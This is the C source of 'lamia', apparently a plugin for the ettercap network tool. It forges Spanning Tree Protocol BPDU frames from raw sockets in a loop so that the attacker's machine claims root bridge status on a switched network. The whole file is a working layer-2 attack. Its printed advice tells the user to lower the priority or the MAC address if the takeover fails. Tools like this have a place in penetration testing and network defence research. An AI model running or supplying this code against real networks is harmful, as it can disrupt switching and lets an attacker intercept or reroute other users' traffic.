/*
    lamia -- ettercap plugin -- Become root of a switches spanning tree using STP

    Copyright (C) 2002  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/


#ifdef CYGWIN
   #include <windows.h>
   #include <winsock2.h> 
#else
   #include <sys/time.h>
   #include <unistd.h>
#endif

#include <stdlib.h>
#include <time.h>

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"
#include "../../src/include/ec_inet_forge.h"

// protos...

int Plugin_Init(void *);
int Plugin_Fini(void *);
int lamia_function(void *dummy);

// Damn alignment :)
typedef struct {
    u_int16_t  protocolid;
    u_int8_t   version;
    u_int8_t   BPDU_type;
    u_int8_t   BPDU_flags;
} stp_l;

typedef struct {
    u_int16_t  root_priority;
    u_int8_t   root_id[6];
    u_int8_t   root_path_cost[4];
    u_int16_t  bridge_priority;
    u_int8_t   bridge_id[6];
    u_int16_t  port_id;
    u_int16_t  message_age;
    u_int16_t  max_age;
    u_int16_t  hello_time;
    u_int16_t  forward_delay;
} stp_t;

// plugin operation

struct plugin_ops lamia_ops = {
   ettercap_version: VERSION,
   plug_info:        "Become root of a switches spanning tree (STP)",
   plug_version:     11,
   plug_type:        PT_EXT,
   hook_point:       HOOK_NONE,
   hook_function:    &lamia_function,
};

//==================================

int Plugin_Init(void *params)
{
   return Plugin_Register(params, &lamia_ops);
}

int Plugin_Fini(void *params)
{
   return 0;
}

// =================================

u_int16_t inv_htons(u_int16_t value)
{
    u_int16_t out;
    out = htons(value);
    out = (out << 8) | (out >> 8);
    return(out);
}

int lamia_function(void *dummy)
{
   int sock;
   u_char MyMAC[6];
   u_char MultiMAC[6]={0x01,0x80,0xc2,0x00,0x00,0x00};
   char num_c[7];
   u_int16_t priority=0;
   stp_t *stp_h;
   struct recv_packet sendpck;
   char c[1] = "";

   Plugin_Output("\nPriority? [0]: ");
   Plugin_Input(num_c, 7, P_BLOCK);

   if (strcmp(num_c,"\n"))
      priority = atoi(num_c);
   
   sock = Inet_OpenRawSock(Options.netiface);
   Inet_GetMACfromString(Inet_MyMACAddress(), MyMAC);
   
   sendpck.buf = Inet_Forge_packet( ETH_HEADER + sizeof(stp_t) + sizeof(stp_l) + 64 + ALIGN_ETH_TO_WORD);
   sendpck.aligned = sendpck.buf + ALIGN_ETH_TO_WORD;

   Plugin_Output("\nIf it doesn't work...\n");
   if (priority>0)
      Plugin_Output("...try to set a lower priority\n");
   else   
      Plugin_Output("...try to set your MAC address to a lower value\n");

   
   Plugin_Output("\nSending BPDUs with priority=%d...(press return to stop)\n\n",priority);

   LOOP {
      Inet_Forge_ethernet( sendpck.aligned, MyMAC, MultiMAC, 0x0026);

      // Suitable LLC header for Spanning Tree BPDU
      sendpck.aligned[ETH_HEADER]  =0x42; // DSAP
      sendpck.aligned[ETH_HEADER+1]=0x42; // SSAP
      sendpck.aligned[ETH_HEADER+2]=0x03; // CF
                   
      stp_h = (stp_t *)(sendpck.aligned + ETH_HEADER + 8);
    
      stp_h->root_priority = htons(priority);
      memcpy(stp_h->root_id, MyMAC, 6);
      stp_h->bridge_priority = htons(priority);
      memcpy(stp_h->bridge_id, MyMAC, 6);
      stp_h->port_id = htons(0x8000);
      //stp_h->message_age = inv_htons(2);
      stp_h->max_age = inv_htons(20);
      stp_h->hello_time = inv_htons(2);
      stp_h->forward_delay = inv_htons(15);
    
      Inet_SendRawPacket(sock, sendpck.aligned, ETH_HEADER + sizeof(stp_t) + 16);

      sleep(2);

      if (Plugin_Input(c, 1, P_NONBLOCK))
      {
         Inet_Forge_packet_destroy( sendpck.buf );
         Inet_CloseRawSock(sock);
         return 0;
      }
   }
}

/* EOF */

// vim:ts=3:expandtab
